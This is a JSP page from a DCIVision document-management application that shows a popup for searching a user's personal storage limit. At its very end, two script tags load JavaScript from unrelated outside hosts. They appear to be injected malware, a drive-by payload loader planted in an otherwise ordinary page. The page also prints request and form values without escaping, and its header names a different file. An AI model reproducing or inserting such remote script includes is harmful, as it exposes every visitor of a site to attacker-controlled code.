<%
/*
 * @(#)EditDmsGroupRoleFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsGroupRoleFolder.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.6.4.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPersonalStorageSetupForm" scope="request" class="com.dcivision.dms.web.ListDmsPersonalStorageSetupForm"/>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>

<script language="javascript">
<!--
var popupWin;
function searchStorageLimit(){
  if(document.listDmsPersonalStorageSetupForm.userRecordID.value==""){
    alert("<bean:message key='user.label.request_user_record'/>");
    return(true);
  }
  document.listDmsPersonalStorageSetupForm.opMode.value="<%=DmsPersonalStorageSetup.OP_MODE_SEARCH%>";
  document.listDmsPersonalStorageSetupForm.submit();
  return(false);
}

function OpReset(){
  document.listDmsPersonalStorageSetupForm.userRecordID.value='';
  document.listDmsPersonalStorageSetupForm.storageLimit.value='';
  document.listDmsPersonalStorageSetupForm.opMode.value='';
  document.listDmsPersonalStorageSetupForm.submit();
  return(false);
}

function closeWindow(){
  if (popupWin != null){
	  popupWin.close();
  }
}

function OpenCenteredPopup(url, name, popW, popH, feature) {
  var w = 1024;
  var h = 768;

  if (document.all || document.layers) {
    w = screen.availWidth;
    h = screen.availHeight;
  }

  var leftPos = (w-popW)/2;
  var topPos = (h-popH)/2;

  popupWin = window.open(url,name,(feature ? (feature + ',') : '') + 'width=' + popW + ',height=' + popH + ',top=' + topPos + ',left=' + leftPos);
  popupWin.focus();
  return(false);
}
-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/ListDmsPersonalStorageSetup" onsubmit="return(false)" styleClass="form-style-2">

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='storageLimit'/>

<!-- Page Title Section Begin -->

<div class="popupPanelTitle"><bean:message key="dms.label.personal_storage_limit"/></div>

<div class="popupWrapperContainer">
<table>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.user_record"/></td>
    <td class="formFieldSmall">
    <html:userpicker property='userRecordID'/>
    </td>
    <td class="formFieldSmall">
    	<div style="width:150px">
    	<html:standardButton label="common.label.search" onClick="return searchStorageLimit()"/>
    	<html:standardButton label="common.label.reset" onClick="return OpReset()"/>
    	</div>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.storage_limit'/></td>
    <td class="formFieldSmall">
    <%
    String storageLimit=listDmsPersonalStorageSetupForm.getStorageLimit();
    if(Utility.isEmpty(storageLimit)){
      storageLimit="";
    }
    %>
     <%=storageLimit%>
    </td>
  </tr>
</table>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>